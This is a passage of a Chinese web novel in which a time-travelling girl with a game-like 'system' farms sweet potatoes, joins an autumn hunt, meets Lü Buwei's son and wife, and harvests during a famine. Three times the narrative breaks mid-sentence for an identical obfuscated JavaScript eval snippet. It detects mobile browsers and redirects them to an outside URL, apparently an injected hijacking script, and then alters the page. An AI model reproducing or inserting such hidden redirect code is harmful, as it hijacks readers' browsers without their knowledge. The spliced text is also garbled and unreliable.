不够的便烧些草木灰施下去。 小满最后只能无奈点头。 按着数尺撒一把的施肥方法，再加上这稀疏颓废，歪歪扭扭的植株，就算没有发酵完全大概率没有烧苗的担忧。 只是未完全腐化的粪土，吸收效率可能没那么好。 不知道有多少人能学会这些，能先完成今年的施肥，又有余力存下余肥，还有耐心和技术判断腐熟。 然而只要办法切实可行，展现出成效，慢慢的学会的人会越来越多。 掌握的人经验越多，这些方法就会在民间形成一套理论，自己流传下来。 因为这是坚韧而善于学习的民族，为了看得见的希望可以忍耐一时，等待时机成熟。 广阔的土地和繁盛的人口，也更好的支持这一品德流传下去。 接下来几天，小满准备好剪刀，将红薯藤蔓，剪出适当大小的长条，一筐一筐的运出去，在堆好的一陇陇土上挖坑，将之横埋在土里。 因为耽误的比较晚，红薯枝条长的比系统估计的要多不少，多出来的一些藤蔓，便在田头路边院前屋后栽种下来。 然后装上竹筒的水碓，一刻不休的运转着，将奔流的河水提上堤岸，通过接上的竹杆瓦管运送到田里。 为新种下亟待生根的藤蔓浇上足够的水。 忙完种植土豆红薯，时间暂时空闲下来，被召去咸阳的工匠还没回来，想要的石磨铁器一时都无从下手。 木制的龙骨车倒是打好了，放在河堤岸边，需要人手摇着汲水灌溉。 七月中旬时，护卫们忙碌着把扬他们一起种的地浇灌了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230782|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍。而后龙骨车便被人借去，流转在各家田地之间。 趁着时间，小满还让工匠学徒打造了一套高桌子高板凳。 不追求精致好看的木桌木椅并没什么难度。 虽然她自己剪裁制作了裤子，在室内时常盘膝而坐，只是对她来说盘膝和跪坐一样都是十分难受的姿势，不到半个时辰就得缓一下，因此这一套桌椅是必须滴。 做好伏案的书案准备，小满用积分从系统兑换出油墨笔芯，开始趁闲抄画之前系统给的基础农具，犁耧耙锄，风车水碓，石碾石磙，砻臼筛簸箕枷，翻土除草，耕种水利，打谷去壳，各种功用。 然后从天工开物抄录下舟车锤锻，采矿煅石……等内容。 横着写，简体字，一起装订成册。 想看的就请各位来翻译好了。 刚开始抄录时，扬看见了好欣慰小主人开始学字了。 后来发现那字她都不认识，也不是她所知的六国文字，便沉默了。 小主人学偏了啊。 只是如今六国文字各自为政，她们虽在秦国治下，扬却是跟姬夫人学的一点与六国文字更近的周室文字。 此时虽然觉得不对，也拿不出更好的办法，只好当小主人在一时兴起，自娱自乐。 时间逐渐来到八月，旁院的护卫们都活跃起来。 小满才知道，原来护卫们组织有秋猎活动。 “骑马吗？” 后院饲养有马匹，虽然不多。 “坐车。” 坐车打猎吗？战国时代好像战车确实是一种战斗方式，只是赵国胡服骑射之后应该已经淘汰了。 虽然没有马鞍马镫，骑兵的机动性是战车不能比的，这一弱点被压制，冲击力优势也没了。 小满提出要求，“带上肉。” 她要吃烤肉。 之前想过烧炭，可惜忙其他的给忘了，还好木柴也可以。 想要的豆腐没有石磨，做不出来，肉太腥臊，没有铁锅，不能煎炒烹炸不想吃。 只能烤肉解解馋了。 辣椒种子早就有了，洒在院前除了偶尔浇水基本不用管，一颗植株就能结出一大堆，结出的辣椒一串串的红彤彤的十分喜人，可惜其他人不懂欣赏。 可能吃辣的喜好还没刻进DNA，等到冬天她们就会喜欢了。 然后小满拿辣椒自制了辣酱，豆酱，平日可以用来配米饭，豆饭，这个扬倒是能吃点。 可惜没有酱油，那个工艺繁琐，她又没抽到方子，查了一下资料，又发现周期太长，没时间制作。 调味的话，盐糖辣椒豆酱加上这个时代本有的椒，姜，也足够了。 虽然这些本土调料不算便宜，她平日分的肉，用这些处理了也算可以吃得下了。 当然扬她们还是觉得口味太重，少量一点倒是觉得鲜美异常，赞不绝口。 13. 13秋猎 秋猎那日，天气仍是晴朗少云，小满他们坐着马车绕远路过桥，来到了离家不远的山林。 山野之间的秋季虽然偶有落叶枯枝，整体依旧繁茂怡人。或许是未经秋雨，还不见颓败。 来到地方才发现似乎是大场面，参与秋猎的不止他们一队护卫，还有附近庄子禁苑的护卫，先头的人手已经开辟道路，铺开了场地。 他们到时已经开始分设队伍，领旗令入山了，猎场的人验明身份，便允许她们的车马驶入了。 护卫们到设立的台边应名，领来旗令武器工具，与小满等人招呼一声便涌入山林了。 小满看的一头雾水，“就这样跑着去打猎吗？” 因为有些跛足，而留下的马夫解释道：“山林不是田猎，地形不利于驾车打猎。除了驾车打猎，还有射箭围猎，张网设陷阱等方法去猎物，据说赵国善于骑马的，可以在马上搭弓，猎杀羊鹿等。” 小满点头，她身边除了几个女子，只有马夫和煦，不过周围都有手执兵刃，列队站岗的侍卫，不用担心安全。 过了一会儿，有安排场地的门人，过来领路，扬与对方交涉了两句，道：“主君，我们到那边去吧？” “好。”小满等人继续上马车，跟着门人朝禁苑深处而去，直到挨着河边有一个简单的离宫，好像是安排女眷的地方。 小满下车转了一圈，里面空荡荡的，没什么人影，周围草木凋零也不见打扫，应该只是个备用的地方。 “就在这外面吧。”说完小满拉着煦把东西从马车上搬下来。 跟小满一起来的几位女子互相望了望，觉得安排场地的人似乎有点怠慢，不过她们都是自己动手惯了的，很快收拾出来一块地方。 底下用枯叶铺了几层垫上棉布，勉强可坐。 然后采野菜的采野菜，打水的打水，卯里外转了一圈，在后面院里发现了一些东西，“扬，这后面有柴禾。”还有炉灶。 出行不便，只带了几案，柴禾没带多少，本来准备就地取材。现在就不客气了。 拿出自家带的米菜肉还有鬲，开始野炊计划。 另一边，没入山林的护卫们，不到一个时辰便打到一些兔子狐狸野鸡等小型动物。 猎物捆绑好挂在马背上，护卫们正四散开寻找猎物，很快几个步行持弓的聚集回来说发现大型猎物的踪迹。 一行人随着痕迹追踪而去，很快有打猎经验的看出来，“这是一头野猪，个头还不小嘞。” 一般野猪野牛等大型动物皮糙肉厚，狂躁凶悍，不是人力能对抗的，“还是设陷阱吧。” 几人挖坑布箭设定好陷阱，两个人带上弓箭去引诱野猪，其他人则一路隐藏，做着将猎物往既定方向围去的准备。 没有打造出烧烤架子，小满借铜质板子架在火上，准备吃铁板烤肉，没多久，一股香气渐渐激发出来，混合着油脂及调料的味道，越飘越远。 香气将不远处熬粥煮菜的女侍目光吸引过来，然而小满招呼她们尝尝时，都摇头摆手。 一闻都好香，一问都不吃。 小满拉着煦吃了一点，看人辣的脸颊通红眼泪汪汪，憋着笑把肉递给对方，让他自己去烤，自己端来两碗粥，慢慢喝着。 看着煦学着她的样子想要撒上致死量辣椒，小满摆摆手，“我吃好了，你给她们烤些吃吧。” 那些女人居然对煦的信任度还更高些，尝试之后觉得还不错，问过小满借铜台用之后，便纷纷洗手烧烤，分着吃肉。 扬烤完一盘，拿去与一边照顾马匹的马夫分着吃了些。 小满看着两人有些亲昵，禁不住八卦的心，“阿姐与他是什么关系？” 专心烤肉的卯转头看了一眼，“那是扬的兄长，名叫维。” 原来是她以貌取人想歪了。 小满松了一口气，看着系统不断弹出的任务提醒，实在耐不住性子，起身拿上背篓，准备去采点野菜。 “我去四周看看。” 煦看着几位熟练烤肉，各自谈笑的女子，默默起身跟上小满脚步。 八月草木正是繁盛，而且大多结了种子，完成系统任务时，只需要采集果实和种子，完成效率更高。 采着采摘着，小满发现一些端倪，不动声色询问，“系统，你要这些植物种子，是在游戏空间种植吗？” 系统还在卖萌，【啊嘞，主人，你怎么知道？】 很简单，之前的采集植物大多要完整植株，注意保存根系或茎杆，都是按生长特性来的。 现在只需要种子和果实就能判定任务完成，目的简直不要太明显了。 小满想起在游戏中时，开发的那些新品种作物，“什么时候能种出来？” 【……不知道呢。】 好吧，给你支持鼓励，“加油，我等着你哟。” 小满继续采摘系统任务中能看到的种子果实，忙活了许久，看着蹭蹭上涨的积分满心成就感。 忙完之后，来到河边，就看到煦拿着不知道哪里来的鱼竿，正在垂钓。 小满凑近了才看到，那人旁边拿草叶串着几只巴掌大的鱼，“煦，你为什么不一起去打猎？” 她记得这人对周围山林非常熟悉，应该经常在里面跑。 煦没什么情绪，“我不会射箭。” 小满没有继续这个话题，转而盯上鱼，“你会做鱼汤吗？” “会。”煦闻弦歌知雅意，收起鱼竿鱼线，提起水里的鱼，跟小满一起往回走。 另一边山林，一个时辰后，狂躁的野猪已经落入陷阱，即使皮糙肉厚，野猪身上也留下一些伤口，加上坑底布设的剑刃，猎物已经无力挣扎出陷阱。 众人一些人在坑边守着，防止猎物挣扎出来或有人抢夺，一些人去找木头绳索等物，准备等时机把猎物拉上来。 没过多久，底下的猎物停止挣扎，几人正打算拉上来，忽然听到身后一阵草木晃动。 匆忙挖成的陷阱并没有多深，再来一个大型猎物肯定陷不住，几人提神戒备着，已经有人做好逃跑或爬树的准备。 没过几息草后窜出来一个少年，对方见草木后是一群大汉，也疑惑的看着他们，“你们聚在这里做什么？有没有看到我的猎物？” 众人见是寻常人类，松了一口气纷纷摇头。对方却越加疑惑，“你们挡着什么？该不会私藏了我的猎物吧？” 都是靠手中家伙说话的，任谁被这样无端怀疑都会忍不住怒气，对面少年拨开草丛，走过来却看见一个坑，底下躺着一个硕大的野猪还在喘着粗气，不由吓了一跳。 正在发愣，听见外围一声呼唤，“季康，猎物往你那边去了。” 然后一道棕色影子跳跃着创了过来，季康被旁边的年轻人眼疾手快拉开，转身看见自己原本追捕的鹿，直愣愣的跳进坑里。 直到跟随的护卫过来，季康才回过神来，对拉着他的亥颔首，“多谢。” 两支护卫寒暄了几声，季康身边的护卫看着坑底好不容易赶到这里的鹿，“季康，这猎物……” 护卫什长豪爽道：“后面跳进去的当然是你们的，我们只要自己打的。” 季康闻言也是欢喜不已，两边高高兴兴的分了猎物，看时辰不早了，朝着石台那边而去。 途中说起大公子吕蜴与侯夫人穆氏也来到了宫室禁苑，据说行程中有这次猎场，县丞正在作陪。 等了半天不见鱼汤熬成奶白色，小满迫不及待盛了一碗，调料不多，加了能当调料的草煮出来的，咸鲜味很足，还带微微的辣味，也算勉强能喝。 小满正蹲在席子边品尝，一边心中暗暗可惜缺了些面饼之类佐汤。就见扬举着托盘过来，“主君，这是宰执分给我们的鸡肉，兔肉，猪肉和鹿肉，一些是亥他们猎到的，一些是季康公子送的。” 季康？跟他好像只有过节没有交情啊？小满疑惑环视四周，果然与亥他们站在一起的少年，正眼睛冒火的朝这边看着。 小满一朝那边看过去，对方就狼狈的转开了视线。 但是对方不但不退缩，反而开始嚷着讨说法，“我送给各位的鹿肉是因为今日相见之义，就这么给她吃了？” 亥笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230783|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵呵的解释，“主君吃的不多。我们这也留有一份，马上就做好了。” “那也不行，我的东西怎么能……” 呵，今天还非得吃了。小满拿了一叠鹿肉和其他肉清水洗过，撒上一点姜水盐巴，分开放在铜板上，一边烤着一边招呼着诸位，“大家分了吧。” 新猎的肉，炭火一烤，香味越发飘的远了，别说好不好吃，起码味道吸引人。 自己手里这一份烤完之后，小满撒上一撮辣椒，将肉端给了护卫们，“辛苦诸位勇士了，这还有一些盐巴和调料，可以佐味。” 什长接过，护卫纷纷道谢。 然后小满对一边生闷气，但是不知道为啥还是没离开的季康道：“喂，吃不吃。”看着人几乎把头转了九十度，才憋着笑离去。 逗完不识相的小孩，小满坐下继续喝温着的鱼汤，就着扬和煦烤的淡味烤肉，别有一番滋味。 才吃了一会儿，就见通往离宫的大道上走来一行人。 那群人直勾勾的朝这边走来，小满发现完全不认识，扬附在耳边提醒，“是长公子。” 长公子？什么长公子？扶苏吗？不太可能吧。 小满随着站了起来，却见那人让众人平身，十分亲切的上前，拉着小满问道，“你就是姬夫人的女儿月儿吧？几年不见，小妹居然长这么大了。” 小满抗拒的抽出手来，躲到扬身侧，“你是？” 吕蜴笑笑，“月儿不记得了？我是兄长啊。” 哦，吕不韦的儿子。 小满走出来，乖乖的行礼，“兄长。” “小妹不必多礼，”吕蜴环顾四周，“看来诸位正在宴乐，大家不必拘束。”然后示意小满坐下，继续边吃边说。 其他人依令起身，烤肉的烤肉，煮肉的煮肉，各忙各的。 “兄长如何来洛阳？”小满记得吕不韦权力如日中天，投奔他的三千门人有的都能谋得一官半职，更不用说儿子什么的，都有职位的，如今宫室还没建好，怎么这么闲心跑来度假？ 吕蜴倒不拐弯抹角，“如今各地受旱情影响，洛阳是父亲食邑，兄受命来查看情况。” “对了，最近咸阳新出的水车，听工匠说是依小妹的指点而作，对缓解旱情大有裨益，父亲多次夸奖，王上也有所耳闻呢。下令给各位工师赐爵赏赐。” “我只是偶然见过图样，能做出来都是各位工师的功劳，王上和君侯有所嘉奖，是大家的荣幸。”小满习惯性谦虚道。 吕蜴继续话题，“听工师说，你是从一个工匠大家那里得了本工书，还拜了师可有此事？”说着话时身体前倾，突然有点压迫感。 “没有，那本书被带走了，我只是偶然翻阅过。”其实复制出来的版本已经躺在她空间里了，只是不想给吕家人，总觉得会让事态不可控制。 本来就对历史抓瞎，好歹还知道点基本的知识，比如灭六国，荆轲刺秦王，如果再增加点变数……简直就是噩梦。 虽然她本身就是个变数了吧。 吕蜴看着小满平静的样子，也不觉得有第二个像水车那样缓解旱情的利器。 于是放弃追问书的问题，“如此也罢。”吕蜴想起近日禁苑长展示的水泥，好像也是这小丫头献上的。 禁苑长为了讨好吕蜴，或者只是请示报告，将决策拍板的压力推出去，早将水泥之法献上去了。为了这一点，当然也不会隐瞒给他方子的人。 其中也有一点私心，一是为了拿到窑炉炼制陶块。二是此法原料虽有耗费，确实能加快宫室修建速度，节省人力，怎么也是功劳一件。 那东西的用处，他身边门人见到便想到可以用在建渠上，或是用来建城墙…… 不过据禁苑长所说，原料需要陶瓷碎片，石灰石膏矿石混合碾碎。这一项有些麻烦。 陶瓷虽不是稀罕物件，即使不要求品质，最快也得三五天才能一炉，还有石灰石膏的矿藏…… 如此劳民伤财，一时恐怕支撑不了那么大的工程。 若是只用来造宫室……想来也是可以带给父亲一个好消息。 14. 14穆夫人 新烤好的肉送上来，吕蜴提筷吃了几口，眼睛一亮。不由看向烤肉的扬和煦，“这炙肉是如何做的？” 扬回道：“回公子，加了小主人特制的调料和一些紫苏香茅调的汁水。” 吕蜴赞了一声，“好。”他平常入口都是鲜美滋味，配着名贵香料烹饪，因此对调料接受度更高些。 眼看天色不早，吕蜴面向小满提议，“若在此处无事，我们便回府中如何？母亲还在等着你去见她呢。” 到了坐落在洛阳城的吕府，吕蜴先去处理事务，换身衣服，有使女过来，服侍小满洗漱，净手净面，最后耽搁了许久才去见穆夫人。 扬和其他人都被留在门外，小满只好自己作揖行礼，“见过夫人。” 穆夫人看起来是个端庄和蔼的贵妇人，和蔼的唤人上前。 拉住小满的手，“这便是小妹吧，看着真是招人喜欢，那老鬼倒是好福气，几个女儿都长的这么标志。” “夫人过奖。” 到吕府时已经是夜色降临，小满不得已留了一夜，第二日准备去请安，顺便告别时，却见一间房子里安了一套石磨。 小满好奇询问之下，侍女答道：“夫人是魏国人，爱吃面食，特意备了这石磨。” 啊，她也爱吃啊。 小满厚着脸皮留到了早饭，果然看见桌案上，端上来一盘温热柔韧的饼子。 没有发酵，面磨的比较细，面揉的软加上刚出锅还是挺柔软的。 就是撕下来有点费牙口。 穆夫人看小满鼓着小脸，狰狞的与面饼子斗争，忍不住笑起来，“慢点吃，喝点粥顺顺。” 真难嚼啊，小满看着穆夫人优雅自若的样子，心中升起一股佩服。 能吃到发酵好的她也可以。 用罢早饭，小满让吕府女侍去庖厨要来两杯面粉，撒到水里，搅拌成糊，准备培养酵母菌。 还有豆腐。 小满出门去洛阳城的工坊弄了点石膏，因为做的东西太有名，小满早已经是工坊之中的名人，一点要求很快就满足了。 想了想，小满又去酒醋局讨了点刚发酵好带着谷物等固体的酒酿。有吕府的招牌开路，也很容易就弄到手了。 面粉制酵母需要好几天才能完成，小满尝试着先用酒酿中的酵母去发酵。 将弄来的大豆挑去坏的，用水泡好。 酒酿放入温水中，加糖激发酵母活性。看着微微冒泡的时候再倒入庖厨给夫人准备好的面粉中，搅拌和面。 然后是放在温暖的地方，等待发酵。 过了段时间再去看的时候，面团果然膨胀起来。 然后是揉面，做馒头。 于是傍晚时分，端上桌的饼子松软膨胀，还带着淡淡的酒香气。 吃完一个，穆夫人擦了擦嘴，夸奖道：“想不到你小小年纪，居然有如此庖厨天赋，想必将来是个饿不着的主。” 小满也觉得这句话寓意很好，毫不客气的接受了夸奖。 两人吃的不多，小满将特意留下的馒头给扬她们尝了尝，获得一致好评，让众人齐心定下，总有一天打个石磨的方案。 第二天豆腐新鲜出炉。普通廉价的菽却没了豆腥味，绵软滑嫩的口感征服了一票人。 打个石磨的方案变成了等回去忙完农事就开始。 就这样在洛阳城玩了几天，小满挂念着地里的红薯土豆坚持回去了。 天气干旱，水碓引上来的水也用到其他田里去了，河水边汲水的龙骨车比之前又多了几个。 那是她后面找工匠新做的，毕竟总是借出去不好找回来。而且现在旱情紧急，她家除了红薯土豆，种粟米的地也很多，加上劳动力多，多几个不怕用不了。 根据生长的情况，系统取消了红薯翻秧子的步骤。而是加强了浇灌，正好水碓一直工作，其他地方浇了一遍，可以转而引水过来。 喜欢上了烤肉的小满，在院子里搭了个简易的烧烤架子。隔三差五体验野炊的乐趣。 直到中秋将至，许久不见的舅舅郑造前来造访。 小满蹲在烤架面前，翻面刷酱，忙的不可开交。看着被引进来的郑造，唤了一声，“舅舅。” 郑造看着小满，半晌吐槽了一句，“你一个女孩子家，怎能做出如此不雅的姿态？” 哪里不雅了？很雅的行不行？小满看了眼自己，坐在一个小墩子上，双腿打开，身体前倾，专心盯着烤肉。 不过她穿的是裤子又不只是裙子。 算了，跟老古董说不清。小满将烤好的肉拿出来，放在陶盘上，“舅舅吃烤肉吗？” “不吃。” 最后两人吃了几盘烤肉，“饮食在于适量，今日吃得多了，你陪我出门走走。” “好。”小满将火覆灭，两人出门遛食。 走了半刻钟，两人来到郑造御车来时见到的河边。 郑造看着河边许多用桔槔绳索，和他不认识的工具汲水灌溉的农人，叹了声，“此地倒是经营的甚好。” 想起他近些日子在大河南边，韩国赵国一些地方看到的景象，“礼崩乐坏，天不怜悯人，世道恐怕要更乱了。” 燕国送来太子丹为质示好秦国，秦国却派出十二岁的稚儿甘罗挑拨，让燕国和赵国再起刀兵。 礼崩乐坏，诸侯之间无道义之说，王侯不能取信于天，天不怜悯人才降下这些灾祸吧？ 小满疑惑的歪歪头，据她所知，其他地方每年都在打仗，只是没打到这里才有一线安息，还能有什么更乱的？ 不过那也暂时不是她能管的。 小满从袖子里掏出一叠纸张，挥了挥，“舅舅，你在秦国有产业吗？我想打造一些铁器。” 纸张上画了一些铁质农具，方便翻地耙地播种或者起出红薯土豆花生一类作物的。 “没有。”郑造摇了摇头，铁器铜器可以为兵，在各国都是不许与异国商人交易，带出关口的。 他到洛阳不过数年，一没矿产，二没人手，三不想拿掌握的技术惠秦，并没有过立铁业的想法。 “不过我与秦国铁工也有些交情，可以帮你问问。” 郑造接过那沓纸查看了一下。 小满在一边解释，“这个是锄地的，一挥一压，可以将土块起出，这个是犁，稍微有点变形。这两个是耙地的，使土块细腻。这几个与木架组装在一起，可以播种……” “后面还有一些炼制方法。这大事就拜托舅舅了。” 郑造仔细翻看着，其中有那两个耙长条罗列，造出来恐怕没那么结实，还有那个细格的…… “这个是做什么的？”郑造抽出来一张，极细的铁丝交织成纵横方格。 小满不好意思的笑笑，“这个是烤架，就是你刚刚吃东西用的那个。”那个隔火，吃起来差一点烟火气。 “好吧，还需要看看。能造好的三个月内给你拿过来。” “如今是多事之秋，你若外出，身边千万不要离了人。”郑造再三叮嘱，才驾着来时的车离开了。 中秋之后，便开始陆续准备着收割粟与菽了，农人们看着田里作物鄙薄的果实，虽然预料会有不小的减产，依旧周全的做着准备。 红薯土豆种的晚些，还不到收割的时候。 小满与煦每天呆在水池边，对前些日子捡来的或拿铜钱稻草食物换来的一些树皮做着处理，将外面粗硬的棕色树皮去掉，留下白色纤维层。 还没做多久，扬过来喊她，“月儿，穆夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230784|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。” 这个客人倒是更为出乎意料，小满跟着扬回到住的院子，看到吕蜴正指挥着仆人从车驾上卸下几块大石头。 吕蜴见小满过来指了指院内。 穆夫人正盯着院中辣椒甘蔗烤架等新奇事物研究，看到小满身影，笑弯了眉眼“月儿乖乖，旬日不见有没有想大娘啊。” 小满笑盈盈顺着说，“当然有。”超想那几天一起吃喝玩乐的日子，有吕府的排面做什么都很方便。 “唉，马上就要回咸阳了，恐怕要有些日子不见。”穆夫人牵着小满，“你母亲如今也不在，月儿一个人在这生活会不会寂寞？” 小满摇摇头，“我还有扬卯和护卫他们。” 穆夫人点点头，“生活在这样的田园中其实也不错。”她曾经是魏国富豪的女儿，也不曾做过耕种稼穑之事，倒是拥有着浪漫情怀。 “对了，我见月儿也爱吃面食，便将府里的石磨送了过来。”穆夫人指指仆人搬进来的石头，然后笑着抱怨，“庖厨他们按你留下的方子做饼，不是酸了就是发硬，总是没有你做的味道。” “我与蜴儿将至咸阳，这磨留在府里也是闲置，现在给你也是物尽其用。” 小满眼睛一亮，“多谢大娘。” 小满斟酌着，“面饼酸了或是硬了可能是发酵问题，发酵时间太长，放的地方有点热了，或者水加的太少了。” 她知道发酵过了会泛酸，可这时代的酵母活性不够，时间短了又发酵不起来，完全发酵成功时，另一部分发酵的已经完成从糖类到酸的过程了。 可惜这个时代没有食用碱可以中和一下。 小满摇着穆夫人的手，“新学东西总有差错嘛，我发酵的时候，也自己吃了好多酸面硬饼呢。” 第一次按教程来一般不会出错，可惜后面总忍不住会突发奇想。 门外，护卫与侍女被召集起来，吕蜴含笑看着他们，“你们几个把小妹照顾的很好，都有功赏。” 吕蜴说着示意从人送上成串的铜钱和布匹。 然后缓缓问道：“之前听小妹说她造的工具都是跟一个师傅学的，不知道小妹是从哪里拜的师？先生蛰居何处？” 这种问题都没什么正确答案，毕竟他们都没见过。跟小满最亲近的扬正在里面院子里。 众人低首不语，护卫什长站出来，“回公子，小主人身体好了以后，每日出去，并不知行踪去向。” “小主人那些新奇的事物都是突然出现，虽然不曾藏私，但也没露过传授之人的行藏。想必是传授之人有交代，不想为外人所知。” 吕蜴点点头，“看来小妹将你们调教的很好。不过你们还是要以主人安危为重，不要放一个幼童独身外出，万一出了事情，你们谁能担责？” 此时说什么主人安危，随身跟随。 咸阳对这边一直都是放养，之前姬夫人失踪近身随侍的都罚的罚，走的走，消失的消失。他们还能视其为主，互相照应已经是不错了。 毕竟是君侯先放弃的血脉。 能长久呆在放养之地的，本来都不是什么钻营求进的人，说不出什么漂亮话。 更不可能耿着抗上，此时只能单膝跪下，“是，属下知错。” 吕蜴挥挥手，发完赏赐，让他们散去还各回岗位。 送走了穆夫人与吕蜴，小满并不知道吕蜴一番操作，只觉得护卫们有点过于关注自己。 连到外面操练都要问她出不出门，小满疑惑的嘀咕了一句，“怎么天天问出不出门？” 一旁的卯接了一句，“大公子让他们看顾好你呢。” “我有什么好看顾的？” 八月中下旬，粟米与菽慢慢都成熟了，变成金灿灿的样子。 15. 15产量 粟米收割完成之后，又是交租税的时候，小满与护卫一行到税所时，留在里面的吏人居然有些意外之色。 吏人苦笑着解释，“今年灾旱太过严重，大王开恩已经减免了五成租税，很多还是征收不上来，其他人都去各里各庄催收了。” 其他人也听的默默无言。 他们一路过来，越靠近城池确实见到路边哭泣的哀求，卖为隶臣妾的，近些日子也见到过，被追着或者无人之时逃入山中成为流民的。 秦国历法，十月份是一年岁首，过完十月初一之后，小满看着编年史记上刷新出来的岁大饥几个字，只是有些木然。 原本遥远的隔着两千年的历史突然到了跟前，虽然她周边的都因为及时灌溉保住了一部分产量，大部分人只是扎紧腰带吃着杂粥，不至于活不下去。 那样惨烈的事实，她还没真正见识到，但也切实意识到，其他地方正在发生着。 战争，饥荒，未来还会有什么？ 这一刻她无比希望统一六国的时刻快点到来，结束兵戈之争。 一场短暂的秋雨下来，树木凋零越发明显了，地里红薯的枝叶也渐渐枯萎，似乎为地下块茎贡献完了全部的生机。 小满看着系统进度条上显示成熟度百分百的提示，宣布次日开始收割。 造农具的进度神秘莫测，岁首前送来了一批犁头，锄头，抓钩，就再无音讯。 第二日，天色略有些阴沉沉的，小满一行人就着隆起的土块刨出红薯和土豆。 几个月前才细细耙过的土地，加上偶尔的浇灌，这时刨起来还算轻松。不多时便掌握了劳作技巧。 他们都尝过小满分发的红薯，所以对棕红色圆滚滚土疙瘩一样的果实没什么意外，不过这产量确实惊人了。 不到半个时辰，只是半亩地的产量，起出的红薯堆了一大堆。“主君，这……” 不过抬头看看，那广泛的红薯秧，一时也没兴趣追根问底。 或许是这时间田间劳动的不多，半上午的时间，村边地头来来回回走过好几波人，目光总时不时往这边看。 没过一柱香时间，又有人扛着锄头路过，在地边停下。 “贵人，刨地呢？” 因为挥不动农具，而负责搬运的小满诧异的看着搭话的人。这句话怎么感觉怪怪的？ 不过这时候没空跟氓流对话，含糊的答了一声，“嗯。”继续拖拽筐子。 “要帮忙不？” 小满第一反应，“你缺吃的？” 然后直起身子回答：“帮忙可以，只提供食物，没有半两钱。” 年轻人不在乎的笑笑，“缺，也不是很缺。”然后主动走入地中，“需要我干些啥？” 然后不到半个时辰，又跑来许多男女老少，或是问护卫什长，或是问扬，或是问小满，问要不要帮忙。能干些啥？ 小满一开始还强调没有工钱，后来看着这些人异口同声的不要钱甚至不要食物的发言，不禁疑惑起来。问下一个主动来帮忙的， “你们来干活到底想要什么？” 那妇人回答的很朴实，“俺受了贵人的恩惠，自然该报答一二。” 小满疑惑，“什么恩惠？” “俺家用了贵人家的水车，多亏了那些水，才能让地里有收成。” 然后有人纷纷附和，“俺家也是。” “俺用了贵人家的水碓。” “贵人做出来的踏碓也很好用。” 还有浑水摸鱼的，“反正闲着也是闲着。” “……” 变了一副模样的工匠旦，不现在应该叫工师了。 “还有我，俺有今日多亏了贵人的大恩大德。” 就是差点搁咸阳回不来让人有点忧伤。 他问清了小满信上写的龙骨车，造出献上去了许久，年前咸阳才松口放人，年后才赶回来。 不过他爵位也升了一级，衣着打扮都大变样。秦王甚至想封赏咸阳的田宅，可惜他更想回来。 如此几十口人，几乎整个里巷每家都有人过来帮忙。大人小孩都有，有的是一家好几口。甚至当初堆肥时来指指点点的里典也来帮忙了。 小满感动的无以言表，等到傍晚结束劳作，大部分红薯运回家里，剩下的每人塞了一兜刨坏的红薯。 “回去洗洗就能吃，可以切了与粟米一起煮。” 第二日，各位乡邻依旧来帮忙，有工具的刨地，没工具的收拾秧子和运输果实。 今天的大家都对地里种的东西熟悉了一点，讨论着土地里新奇的红薯口感味道，讨论着这东西是从哪来的，为啥结在地下，猜测这东西最终的产量。 五天之后，收获完成，来帮忙的人家都得了一筐或两筐收获过程中不小心刨坏的红薯。 虽然收获过程中是一边挖掘，一边往回运的，但是土地中留下的一些破损严重的红薯堆起来都成了一座小山。 那些大大小小的果实鲜重不轻，只稍微算一算产量，也让有心观察的人触目惊心。 【恭喜宿主，收获红薯达到五万斤，个人完成度百分之四十五，任务完成，奖励一千积分，十八种土法堆肥教程】 【恭喜宿主，收获土豆达到四千斤，个人完成度百分之六十，判定任务完成，奖励五十积分，土豆种子脱毒方案】 …… 【恭喜宿主，种植作物产量超过本土作物五十倍，达成“丰收景象”成就，影响力加五十三】 【恭喜宿主，在旱情时期借出汲水工具，收获时期获得村民帮助，达成“守望相助”成就，影响力加一百二十一】 【恭喜宿主，函授水车龙骨车等工具制作之法，获得“醍醐灌顶”“声名远播”成就，影响力加四十五】 大概是育苗的时候，小满一直亲力亲为，加上浇水施肥大部分依靠她做出的水碓和肥料，完成度判定的还挺高。 令人意外的是，这次种植完成，系统奖励的是土法堆肥，而不是各种高大上的钾肥磷肥复合肥料工艺流程，一看就没办法复制的那种。 至于这个影响力，已经积攒两三百了，虽然不知道具体用处，但是某些情况下可以应急转化为积分，也不算没用。 小满没想到，缺水缺肥的情况下，居然能收获这么多，除了刨坏磕碰的，还有几万斤之多。 算上种植收获和签到累积的积分已经两千多了，这么多积分是先买种子，还是…… 小满蹲在地边计算时，系统发声了，【系统出品，不保证最好，但保证高产。】 